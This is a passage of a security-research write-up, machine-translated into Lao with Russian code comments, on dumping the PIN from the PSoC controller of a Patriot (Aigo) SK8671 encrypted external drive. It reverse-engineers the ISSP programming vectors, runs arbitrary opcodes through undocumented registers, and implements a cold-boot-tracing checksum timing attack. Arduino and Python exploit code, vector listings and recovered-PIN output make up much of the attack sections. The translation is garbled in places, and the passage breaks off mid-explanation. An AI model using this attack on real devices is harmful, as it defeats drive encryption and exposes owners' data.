ນີ້ແມ່ນສ່ວນທີສອງແລະສຸດທ້າຍຂອງບົດຄວາມກ່ຽວກັບການ hack ໄດການເຂົ້າລະຫັດຕົນເອງພາຍນອກ. ຂ້າພະເຈົ້າຂໍເຕືອນທ່ານວ່າບໍ່ດົນມານີ້, ເພື່ອນຮ່ວມງານໄດ້ນໍາເອົາຮາດດິດ Patriot (Aigo) SK8671 ໃຫ້ກັບຂ້ອຍ, ແລະຂ້ອຍໄດ້ຕັດສິນໃຈກັບມັນ, ແລະຕອນນີ້ຂ້ອຍແບ່ງປັນສິ່ງທີ່ອອກມາຈາກມັນ. ກ່ອນທີ່ຈະອ່ານຕໍ່ໄປ, ໃຫ້ແນ່ໃຈວ່າອ່ານ ສ່ວນທໍາອິດ ບົດຄວາມ.

4. ພວກເຮົາເລີ່ມຕົ້ນທີ່ຈະເອົາ dump ຈາກພາຍໃນ PSoC flash drive
5. ອະນຸສັນຍາ ISSP
– 5.1. ISSP ແມ່ນຫຍັງ
– 5.2. Demystifying vectors
– 5.3. ການສື່ສານກັບ PSoC
– 5.4. ການກໍານົດການລົງທະບຽນໃນຊິບ
– 5.5. ບິດຄວາມປອດໄພ
6. ການໂຈມຕີຄັ້ງທໍາອິດ (ລົ້ມເຫລວ): ROMX
7. ການໂຈມຕີຄັ້ງທີສອງ: Cold Boot Tracing
– 7.1. ການຈັດຕັ້ງປະຕິບັດ
– 7.2. ການອ່ານຜົນໄດ້ຮັບ
– 7.3. Flash ການຟື້ນຟູຖານສອງ
– 7.4. ຊອກຫາທີ່ຢູ່ເກັບຮັກສາລະຫັດ PIN
– 7.5. ການຖິ້ມຂີ້ເຫຍື້ອຂອງຕັນ ເລກທີ 126
– 7.6. ການກູ້ລະຫັດ PIN
8. ຕໍ່ໄປແມ່ນຫຍັງ?
9 ສະຫຼຸບ

4. ພວກເຮົາເລີ່ມຕົ້ນທີ່ຈະເອົາ dump ຈາກພາຍໃນ PSoC flash drive

ດັ່ງນັ້ນ, ທຸກສິ່ງທຸກຢ່າງຊີ້ໃຫ້ເຫັນ (ດັ່ງທີ່ພວກເຮົາໄດ້ສ້າງຕັ້ງຂຶ້ນໃນ [ພາກທໍາອິດ] ()) ວ່າລະຫັດ PIN ໄດ້ຖືກເກັບຮັກສາໄວ້ໃນຄວາມເລິກ flash ຂອງ PSoC. ດັ່ງນັ້ນ, ພວກເຮົາຈໍາເປັນຕ້ອງໄດ້ອ່ານຄວາມເລິກ Flash ເຫຼົ່ານີ້. ທາງ​ຫນ້າ​ຂອງ​ວຽກ​ງານ​ທີ່​ຈໍາ​ເປັນ​:

• ເອົາການຄວບຄຸມ "ການສື່ສານ" ກັບ microcontroller;
• ຊອກຫາວິທີທີ່ຈະກວດເບິ່ງວ່າ "ການສື່ສານ" ນີ້ຖືກປົກປ້ອງຈາກການອ່ານຈາກພາຍນອກ;
• ຊອກຫາວິທີທີ່ຈະຂ້າມການປົກປ້ອງ.

ມີສອງບ່ອນທີ່ມັນສົມເຫດສົມຜົນທີ່ຈະຊອກຫາລະຫັດ PIN ທີ່ຖືກຕ້ອງ:

• ຫນ່ວຍຄວາມຈໍາ flash ພາຍໃນ;
• SRAM, ບ່ອນທີ່ລະຫັດ PIN ສາມາດຖືກເກັບໄວ້ເພື່ອປຽບທຽບມັນກັບລະຫັດ PIN ທີ່ໃສ່ໂດຍຜູ້ໃຊ້.

ເບິ່ງໄປຂ້າງຫນ້າ, ຂ້ອຍຈະສັງເກດເຫັນວ່າຂ້ອຍຍັງຈັດການກັບການຖິ້ມຂີ້ເຫຍື້ອຂອງ PSoC flash drive ພາຍໃນ - ຂ້າມລະບົບຄວາມປອດໄພຂອງມັນໂດຍໃຊ້ການໂຈມຕີຮາດແວທີ່ເອີ້ນວ່າ "cold boot tracing" - ຫຼັງຈາກຫັນກັບຄວາມສາມາດທີ່ບໍ່ມີເອກະສານຂອງໂປໂຕຄອນ ISSP. ນີ້ອະນຸຍາດໃຫ້ຂ້ອຍຖິ້ມລະຫັດ PIN ຕົວຈິງໂດຍກົງ.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

ລະຫັດໂຄງການສຸດທ້າຍ:

• ລະຫັດ Arduino ສໍາລັບ HSSP;
• Python driver ແລະ ISSP disassembler.

5. ອະນຸສັນຍາ ISSP

5.1. ISSP ແມ່ນຫຍັງ

"ການສື່ສານ" ກັບ microcontroller ສາມາດຫມາຍເຖິງສິ່ງທີ່ແຕກຕ່າງກັນ: ຈາກ "ຜູ້ຂາຍກັບຜູ້ຂາຍ" ໄປສູ່ການໂຕ້ຕອບໂດຍໃຊ້ອະນຸສັນຍາ serial (ຕົວຢ່າງເຊັ່ນ ICSP ສໍາລັບ Microchip's PIC).

Cypress ມີອະນຸສັນຍາຂອງຕົນເອງສໍາລັບການນີ້, ເອີ້ນວ່າ ISSP (ໃນລະບົບ serial programming protocol), ເຊິ່ງໄດ້ອະທິບາຍບາງສ່ວນໃນ. ສະ​ເພາະ​ດ້ານ​ວິ​ຊາ​ການ​. ສິດທິບັດ US7185162 ຍັງໃຫ້ຂໍ້ມູນບາງຢ່າງ. ນອກນັ້ນຍັງມີ OpenSource ທຽບເທົ່າທີ່ເອີ້ນວ່າ HSSP (ພວກເຮົາຈະໃຊ້ມັນຕໍ່ມາເລັກນ້ອຍ). ISSP ເຮັດວຽກດັ່ງຕໍ່ໄປນີ້:

• reboot PSoC;
• ສົ່ງອອກຕົວເລກ magic ກັບ PIN ຂໍ້ມູນ serial ຂອງ PSoC ນີ້; ເພື່ອເຂົ້າສູ່ໂຫມດການຂຽນໂປລແກລມພາຍນອກ;
• ສົ່ງຄໍາສັ່ງ, ເຊິ່ງເປັນສາຍບິດຍາວທີ່ເອີ້ນວ່າ "vectors".

ເອກະສານ ISSP ກໍານົດ vectors ເຫຼົ່ານີ້ສໍາລັບພຽງແຕ່ຈໍານວນຫນ້ອຍຂອງຄໍາສັ່ງ:

• ເລີ່ມຕົ້ນ -1
• ເລີ່ມຕົ້ນ -2
• Initialize-3 (ທາງເລືອກ 3V ແລະ 5V)
• ID-SETUP
• READ-ID-WORD
• SET-BLOCK-NUM: 10011111010ddddddddd111, where dddddddd=block #
• ລົບຫຼາຍ
• ໂປຣແກມ-ບລັອກ
• ຢືນຢັນ-ຕັ້ງຄ່າ
• READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, ບ່ອນທີ່ DDDDDDDD = ຂໍ້ມູນອອກ, aaaaaa = ທີ່ຢູ່ (6 ບິດ)
• WRITE-BYTE: 10010aaaaaaaddddddd111, ບ່ອນທີ່ dddddddd = ຂໍ້ມູນຢູ່ໃນ, aaaaaa = ທີ່ຢູ່ (6 ບິດ)
• SECURE
• ກວດສອບ-ຕັ້ງ
• READ-CheckSUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, ບ່ອນທີ່ DDDDDDDDDDDDDDDD = ຂໍ້ມູນອອກ: ການກວດສອບອຸປະກອນ
• ລຶບບລັອກ

ຕົວຢ່າງ, vector for Initialize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

vectors ທັງຫມົດມີຄວາມຍາວດຽວກັນ: 22 bits. ເອກະສານ HSSP ມີຂໍ້ມູນເພີ່ມເຕີມກ່ຽວກັບ ISSP: "Vector ISSP ບໍ່ມີຫຍັງນອກ ເໜືອ ຈາກລໍາດັບເລັກນ້ອຍທີ່ສະແດງເຖິງຊຸດຂອງຄໍາແນະນໍາ."

5.2. Demystifying vectors

ລອງຄິດເບິ່ງວ່າມີຫຍັງເກີດຂຶ້ນຢູ່ນີ້. ໃນເບື້ອງຕົ້ນ, ຂ້າພະເຈົ້າສົມມຸດວ່າ vectors ດຽວກັນເຫຼົ່ານີ້ແມ່ນສະບັບດິບຂອງຄໍາແນະນໍາ M8C, ແຕ່ຫຼັງຈາກກວດເບິ່ງສົມມຸດຕິຖານນີ້, ຂ້າພະເຈົ້າໄດ້ຄົ້ນພົບວ່າ opcodes ຂອງການດໍາເນີນງານບໍ່ກົງກັນ.

ຫຼັງຈາກນັ້ນ, ຂ້າພະເຈົ້າໄດ້ googled vector ຂ້າງເທິງແລະມາໃນທົ່ວ ນີ້ ການສຶກສາທີ່ຜູ້ຂຽນ, ເຖິງແມ່ນວ່າລາວບໍ່ໄດ້ເຂົ້າໄປໃນລາຍລະອຽດ, ໃຫ້ຄໍາແນະນໍາທີ່ເປັນປະໂຫຍດ: "ແຕ່ລະຄໍາແນະນໍາເລີ່ມຕົ້ນດ້ວຍສາມບິດທີ່ກົງກັບຫນຶ່ງໃນສີ່ mnemonics (ອ່ານຈາກ RAM, ຂຽນຫາ RAM, ອ່ານລົງທະບຽນ, ຂຽນລົງທະບຽນ). ຫຼັງຈາກນັ້ນ, ມີ 8 bits ທີ່ຢູ່, ຕິດຕາມດ້ວຍ 8 bits ຂໍ້ມູນ (ອ່ານຫຼືຂຽນ) ແລະສຸດທ້າຍສາມ bits.

ຫຼັງຈາກນັ້ນ, ຂ້ອຍສາມາດເກັບຂໍ້ມູນທີ່ເປັນປະໂຫຍດຫຼາຍຈາກພາກສ່ວນ "Supervisory ROM (SROM)". ຄູ່ມືດ້ານວິຊາການ. SROM ເປັນ ROM ທີ່ມີລະຫັດຍາກໃນ PSoC ທີ່ສະຫນອງຫນ້າທີ່ທີ່ເປັນປະໂຫຍດ (ໃນລັກສະນະທີ່ຄ້າຍຄືກັນກັບ Syscall) ສໍາລັບລະຫັດໂຄງການທີ່ເຮັດວຽກຢູ່ໃນພື້ນທີ່ຜູ້ໃຊ້:

• 00h:SWBootReset
• 01h: ReadBlock
• 02h: WriteBlock
• 03h: EraseBlock
• 06h: TableRead
• 07h: CheckSum
• 08h: Calibrate0
• 09h: Calibrate1

ໂດຍການປຽບທຽບຊື່ vector ກັບຟັງຊັນ SROM, ພວກເຮົາສາມາດສ້າງແຜນທີ່ການດໍາເນີນງານຕ່າງໆທີ່ສະຫນັບສະຫນູນໂດຍໂປໂຕຄອນນີ້ກັບຕົວກໍານົດການ SROM ທີ່ຄາດໄວ້. ຂໍຂອບໃຈກັບສິ່ງນີ້, ພວກເຮົາສາມາດຖອດລະຫັດສາມບິດທໍາອິດຂອງ ISSP vectors:

• 100 => “wrem”
• 101 => “rdmem”
• 110 => “ຜິດ”
• 111 => “rdreg”

ຢ່າງໃດກໍ່ຕາມ, ຄວາມເຂົ້າໃຈຢ່າງສົມບູນກ່ຽວກັບຂະບວນການເທິງຊິບສາມາດໄດ້ຮັບພຽງແຕ່ຜ່ານການສື່ສານໂດຍກົງກັບ PSoC.

5.3. ການສື່ສານກັບ PSoC

ນັບຕັ້ງແຕ່ Dirk Petrautsky ໄດ້ແລ້ວ ported ລະຫັດ HSSP ຂອງ Cypress ໃນ Arduino, ຂ້ອຍໃຊ້ Arduino Uno ເພື່ອເຊື່ອມຕໍ່ກັບຕົວເຊື່ອມຕໍ່ ISSP ຂອງກະດານແປ້ນພິມ.

ກະລຸນາສັງເກດວ່າໃນໄລຍະການຄົ້ນຄວ້າຂອງຂ້ອຍ, ຂ້ອຍໄດ້ປ່ຽນລະຫັດຂອງ Dirk ຂ້ອນຂ້າງເລັກນ້ອຍ. ທ່ານສາມາດຊອກຫາການດັດແກ້ຂອງຂ້ອຍໃນ GitHub: ທີ່ນີ້ ແລະ script Python ທີ່ສອດຄ້ອງກັນສໍາລັບການສື່ສານກັບ Arduino, ໃນບ່ອນເກັບມ້ຽນຂອງຂ້ອຍ cypress_psoc_tools.

ດັ່ງນັ້ນ, ການນໍາໃຊ້ Arduino, ຂ້າພະເຈົ້າທໍາອິດໃຊ້ພຽງແຕ່ vectors "ທາງການ" ສໍາລັບ "ການສື່ສານ". ຂ້ອຍພະຍາຍາມອ່ານ ROM ພາຍໃນໂດຍໃຊ້ຄໍາສັ່ງ VERIFY. ດັ່ງທີ່ຄາດໄວ້, ຂ້ອຍບໍ່ສາມາດເຮັດສິ່ງນີ້ໄດ້. ອາດຈະເປັນຍ້ອນຄວາມຈິງທີ່ວ່າບິດປ້ອງກັນການອ່ານຖືກເປີດໃຊ້ພາຍໃນ flash drive.

ຫຼັງ​ຈາກ​ນັ້ນ​, ຂ້າ​ພະ​ເຈົ້າ​ໄດ້​ສ້າງ vectors ງ່າຍ​ດາຍ​ຂອງ​ຕົນ​ເອງ​ຈໍາ​ນວນ​ຫນຶ່ງ​ສໍາ​ລັບ​ການ​ຂຽນ​ແລະ​ການ​ອ່ານ​ຄວາມ​ຊົງ​ຈໍາ / ການ​ຈົດ​ທະ​ບຽນ​. ກະລຸນາສັງເກດວ່າພວກເຮົາສາມາດອ່ານ SROM ທັງຫມົດເຖິງແມ່ນວ່າ flash drive ຈະຖືກປ້ອງກັນ!

5.4. ການກໍານົດການລົງທະບຽນໃນຊິບ

ຫຼັງຈາກເບິ່ງ vectors " disassembled ", ຂ້າພະເຈົ້າໄດ້ຄົ້ນພົບວ່າອຸປະກອນໃຊ້ການລົງທະບຽນທີ່ບໍ່ມີເອກະສານ (0xF8-0xFA) ເພື່ອລະບຸ opcodes M8C ທີ່ຖືກປະຕິບັດໂດຍກົງ, ຂ້າມການປົກປ້ອງ. ນີ້ອະນຸຍາດໃຫ້ຂ້ອຍດໍາເນີນການ opcodes ຕ່າງໆເຊັ່ນ "ADD", "MOV A, X", "PUSH" ຫຼື "JMP". ຂໍຂອບໃຈກັບພວກເຂົາ (ໂດຍເບິ່ງຜົນກະທົບຂ້າງຄຽງທີ່ພວກເຂົາມີຢູ່ໃນການລົງທະບຽນ) ຂ້ອຍສາມາດກໍານົດວ່າການລົງທະບຽນທີ່ບໍ່ມີເອກະສານແມ່ນຕົວຈິງແລ້ວການລົງທະບຽນປົກກະຕິ (A, X, SP ແລະ PC).

ດັ່ງນັ້ນ, ລະຫັດ "disassembled" ທີ່ສ້າງຂຶ້ນໂດຍເຄື່ອງມື HSSP_disas.rb ເບິ່ງຄືວ່ານີ້ (ຂ້າພະເຈົ້າໄດ້ເພີ່ມຄໍາເຫັນເພື່ອຄວາມຊັດເຈນ):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. ບິດຄວາມປອດໄພ

ໃນຂັ້ນຕອນນີ້ຂ້ອຍສາມາດຕິດຕໍ່ກັບ PSoC ໄດ້ແລ້ວ, ແຕ່ຂ້ອຍຍັງບໍ່ມີຂໍ້ມູນທີ່ເຊື່ອຖືໄດ້ກ່ຽວກັບຄວາມປອດໄພຂອງ flash drive. ຂ້າພະເຈົ້າຕົກຕະລຶງຫຼາຍໂດຍຄວາມຈິງທີ່ວ່າ Cypress ບໍ່ໄດ້ໃຫ້ຜູ້ໃຊ້ອຸປະກອນໃດໆເພື່ອກວດເບິ່ງວ່າການປ້ອງກັນຖືກເປີດໃຊ້. ຂ້າພະເຈົ້າໄດ້ຂຸດເລິກເຂົ້າໄປໃນ Google ເພື່ອເຂົ້າໃຈໃນທີ່ສຸດວ່າລະຫັດ HSSP ທີ່ໃຫ້ໂດຍ Cypress ໄດ້ຖືກປັບປຸງຫຼັງຈາກ Dirk ປ່ອຍຕົວດັດແກ້ຂອງລາວ. ແລະດັ່ງນັ້ນ! vector ໃຫມ່ນີ້ໄດ້ປະກົດວ່າ:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

ການນໍາໃຊ້ vector ນີ້ (ເບິ່ງ read_security_data ໃນ psoc.py), ພວກເຮົາໄດ້ຮັບ bits ຄວາມປອດໄພທັງຫມົດໃນ SRAM ທີ່ 0x80, ບ່ອນທີ່ມີສອງ bits ຕໍ່ຕັນປ້ອງກັນ.

ຜົນໄດ້ຮັບແມ່ນຕົກຕໍ່າ: ທຸກສິ່ງທຸກຢ່າງຖືກປົກປ້ອງໃນໂຫມດ "ປິດການອ່ານແລະຂຽນພາຍນອກ". ດັ່ງນັ້ນ, ບໍ່ພຽງແຕ່ພວກເຮົາບໍ່ສາມາດອ່ານຫຍັງຈາກ flash drive, ແຕ່ພວກເຮົາບໍ່ສາມາດຂຽນຫຍັງໄດ້ (ຕົວຢ່າງເຊັ່ນການຕິດຕັ້ງ ROM dumper ຢູ່ທີ່ນັ້ນ). ແລະວິທີດຽວທີ່ຈະປິດການທໍາງານຂອງການປົກປ້ອງແມ່ນການລົບລ້າງຊິບທັງຫມົດ. 🙁

6. ການໂຈມຕີຄັ້ງທໍາອິດ (ລົ້ມເຫລວ): ROMX

ຢ່າງໃດກໍຕາມ, ພວກເຮົາສາມາດພະຍາຍາມ trick ດັ່ງຕໍ່ໄປນີ້: ເນື່ອງຈາກພວກເຮົາມີຄວາມສາມາດໃນການປະຕິບັດ opcodes arbitrary, ເປັນຫຍັງຈຶ່ງບໍ່ດໍາເນີນການ ROMX, ເຊິ່ງຖືກນໍາໃຊ້ເພື່ອອ່ານ flash memory? ວິທີການນີ້ມີໂອກາດດີທີ່ຈະປະສົບຜົນສໍາເລັດ. ເນື່ອງຈາກວ່າຟັງຊັນ ReadBlock ທີ່ອ່ານຂໍ້ມູນຈາກ SROM (ທີ່ຖືກນໍາໃຊ້ໂດຍ vectors) ກວດເບິ່ງວ່າມັນຖືກເອີ້ນຈາກ ISSP. ຢ່າງໃດກໍຕາມ, ROMX opcode conceivably ອາດຈະບໍ່ມີການກວດສອບດັ່ງກ່າວ. ດັ່ງນັ້ນນີ້ແມ່ນລະຫັດ Python (ຫຼັງຈາກເພີ່ມຫ້ອງຮຽນຜູ້ຊ່ວຍຈໍານວນຫນ້ອຍໃສ່ລະຫັດ Arduino):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

ຂໍອະໄພ, ລະຫັດນີ້ໃຊ້ບໍ່ໄດ້. 🙁 ຫຼືແທນທີ່ຈະເຮັດວຽກ, ແຕ່ພວກເຮົາໄດ້ຮັບ opcodes ຂອງພວກເຮົາເອງຢູ່ທີ່ຜົນຜະລິດ (0x28 0x30 0x40)! ຂ້ອຍບໍ່ຄິດວ່າການທໍາງານທີ່ສອດຄ້ອງກັນຂອງອຸປະກອນແມ່ນອົງປະກອບຂອງການປົກປ້ອງການອ່ານ. ນີ້ແມ່ນຄ້າຍຄື trick ດ້ານວິສະວະກໍາຫຼາຍ: ເມື່ອປະຕິບັດ opcodes ພາຍນອກ, ລົດເມ ROM ຈະຖືກໂອນໄປຫາ buffer ຊົ່ວຄາວ.

7. ການໂຈມຕີຄັ້ງທີສອງ: Cold Boot Tracing

ເນື່ອງຈາກ trick ROMX ບໍ່ໄດ້ຜົນ, ຂ້ອຍເລີ່ມຄິດກ່ຽວກັບການປ່ຽນແປງອື່ນຂອງ trick ນີ້ - ອະທິບາຍຢູ່ໃນສິ່ງພິມ. "ສ່ອງແສງຫຼາຍເກີນໄປໃນການປົກປ້ອງເຟີມແວຂອງ Microcontroller".

7.1. ການຈັດຕັ້ງປະຕິບັດ

ເອກະສານ ISSP ສະຫນອງ vector ຕໍ່ໄປນີ້ສໍາລັບ CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

ອັນນີ້ເອີ້ນວ່າຟັງຊັນ SROM 0x07, ດັ່ງທີ່ສະແດງຢູ່ໃນເອກະສານ (ບໍ່ແຮ່ຕົວເນີ້ງ):

ຟັງຊັນນີ້ການກວດສອບການກວດສອບ. ມັນຄິດໄລ່ checksum 16-bit ຂອງຈໍານວນບລັອກທີ່ຜູ້ໃຊ້ລະບຸໄວ້ໃນຫນຶ່ງ flash bank, ເລີ່ມຕົ້ນຈາກສູນ. ຕົວກໍານົດການ BLOCKID ຖືກນໍາໃຊ້ເພື່ອຜ່ານຈໍານວນຂອງຕັນທີ່ຈະຖືກນໍາໃຊ້ໃນເວລາຄິດໄລ່ checksum. ຄ່າຂອງ "1" ພຽງແຕ່ຈະຄິດໄລ່ checksum ສໍາລັບ block zero; ໃນຂະນະທີ່ "0" ຈະເຮັດໃຫ້ການຄິດໄລ່ທັງຫມົດຂອງ 256 blocks ຂອງ flash bank. checksum 16-bit ແມ່ນສົ່ງຄືນຜ່ານ KEY1 ແລະ KEY2. ພາຣາມິເຕີ KEY1 ເກັບຮັກສາຄໍາສັ່ງຕ່ໍາ 8 ບິດຂອງ checksum, ແລະພາລາມິເຕີ KEY2 ເກັບຮັກສາຄໍາສັ່ງສູງ 8 ບິດ. ສໍາ​ລັບ​ອຸ​ປະ​ກອນ​ທີ່​ມີ​ທະ​ນາ​ຄານ flash ຈໍາ​ນວນ​ຫນຶ່ງ​, ການ​ທໍາ​ງານ checksum ແມ່ນ​ເອີ້ນ​ວ່າ​ສໍາ​ລັບ​ແຕ່​ລະ​ຄົນ​ແຍກ​ຕ່າງ​ຫາກ​. ໝາຍເລກທະນາຄານທີ່ມັນຈະເຮັດວຽກໄດ້ຖືກກໍານົດໂດຍການລົງທະບຽນ FLS_PR1 (ໂດຍການຕັ້ງຄ່າບິດໃນມັນກົງກັບ flash bank ເປົ້າຫມາຍ).

ໃຫ້ສັງເກດວ່ານີ້ແມ່ນ checksum ງ່າຍດາຍ: bytes ໄດ້ຖືກເພີ່ມພຽງແຕ່ຫນຶ່ງຫຼັງຈາກທີ່ອື່ນ; ບໍ່ມີ quirks CRC fancy. ນອກຈາກນັ້ນ, ຮູ້ວ່າຫຼັກ M8C ມີຊຸດລົງທະບຽນນ້ອຍຫຼາຍ, ຂ້ອຍສົມມຸດວ່າເມື່ອຄິດໄລ່ checksum, ຄ່າລະດັບປານກາງຈະຖືກບັນທຶກໄວ້ໃນຕົວແປດຽວກັນທີ່ສຸດທ້າຍຈະໄປຫາຜົນໄດ້ຮັບ: KEY1 (0xF8) / KEY2 (. 0xF9).

ດັ່ງນັ້ນ, ໃນທາງທິດສະດີ, ການໂຈມຕີຂອງຂ້ອຍເບິ່ງຄືວ່າ:

1. ພວກເຮົາເຊື່ອມຕໍ່ຜ່ານ ISSP.
2. ພວກເຮົາເລີ່ມຕົ້ນການຄິດໄລ່ checksum ໂດຍໃຊ້ vector CHECKSUM-SETUP.
3. ພວກເຮົາ reboot ໂຮງງານຜະລິດຫຼັງຈາກທີ່ໃຊ້ເວລາທີ່ກໍານົດໄວ້ T.
4. ພວກເຮົາອ່ານ RAM ເພື່ອໃຫ້ໄດ້ຮັບ checksum C ໃນປະຈຸບັນ.
5. ເຮັດຊ້ໍາຂັ້ນຕອນ 3 ແລະ 4, ເພີ່ມ T ເລັກນ້ອຍໃນແຕ່ລະຄັ້ງ.
6. ພວກເຮົາກູ້ຂໍ້ມູນຈາກ flash drive ໂດຍການຫັກລົບ checksum C ກ່ອນໜ້າຈາກອັນປັດຈຸບັນ.

ຢ່າງໃດກໍຕາມ, ມີບັນຫາ: vector Initialize-1 ທີ່ພວກເຮົາຕ້ອງສົ່ງຫຼັງຈາກ reboot ຂຽນທັບ KEY1 ແລະ KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

ລະຫັດນີ້ຂຽນທັບ checksum ທີ່ມີຄ່າຂອງພວກເຮົາໂດຍການໂທຫາ Calibrate1 (ຫນ້າທີ່ SROM 9) ... ບາງທີພວກເຮົາສາມາດສົ່ງເລກ magic (ຈາກຈຸດເລີ່ມຕົ້ນຂອງລະຫັດຂ້າງເທິງ) ເພື່ອເຂົ້າສູ່ໂຫມດການຂຽນໂປຼແກຼມ, ແລະຫຼັງຈາກນັ້ນອ່ານ SRAM? ແລະແມ່ນ, ມັນເຮັດວຽກ! ລະຫັດ Arduino ທີ່ປະຕິບັດການໂຈມຕີນີ້ແມ່ນຂ້ອນຂ້າງງ່າຍດາຍ:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

1. ອ່ານ checkum_delay.
2. ດໍາເນີນການຄິດໄລ່ checksum (send_checksum_v).
3. ລໍຖ້າໄລຍະເວລາທີ່ກໍານົດໄວ້; ຄໍານຶງເຖິງ pitfalls ດັ່ງຕໍ່ໄປນີ້:
   • ຂ້າ​ພະ​ເຈົ້າ​ໄດ້​ເສຍ​ເວ​ລາ​ຫຼາຍ​ຈົນ​ກ​່​ວາ​ຂ້າ​ພະ​ເຈົ້າ​ຊອກ​ຫາ​ສິ່ງ​ທີ່​ມັນ​ຫັນ​ອອກ​ ເລື່ອນໄມໂຄຣວິນາທີ ເຮັດວຽກຢ່າງຖືກຕ້ອງພຽງແຕ່ມີຄວາມລ່າຊ້າບໍ່ເກີນ 16383 μs;
   • ແລະຫຼັງຈາກນັ້ນອີກເທື່ອຫນຶ່ງຂ້າຈໍານວນເວລາດຽວກັນຈົນກ່ວາຂ້າພະເຈົ້າຄົ້ນພົບວ່າການຊັກຊ້າໄມໂຄຣວິນາທີ, ຖ້າ 0 ຖືກສົ່ງກັບມັນເປັນວັດສະດຸປ້ອນ, ເຮັດວຽກບໍ່ຖືກຕ້ອງຢ່າງສົມບູນ!
4. ຣີບູດ PSoC ເຂົ້າສູ່ໂໝດການຂຽນໂປຣແກຣມ (ພວກເຮົາພຽງແຕ່ສົ່ງເລກ magic, ໂດຍບໍ່ຕ້ອງສົ່ງ vectors ເບື້ອງຕົ້ນ).

ລະຫັດສຸດທ້າຍໃນ Python:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

ໂດຍຫຍໍ້, ລະຫັດນີ້ເຮັດຫຍັງ:

1. ຣີບູດ PSoC (ແລະສົ່ງມັນເລກ magic).
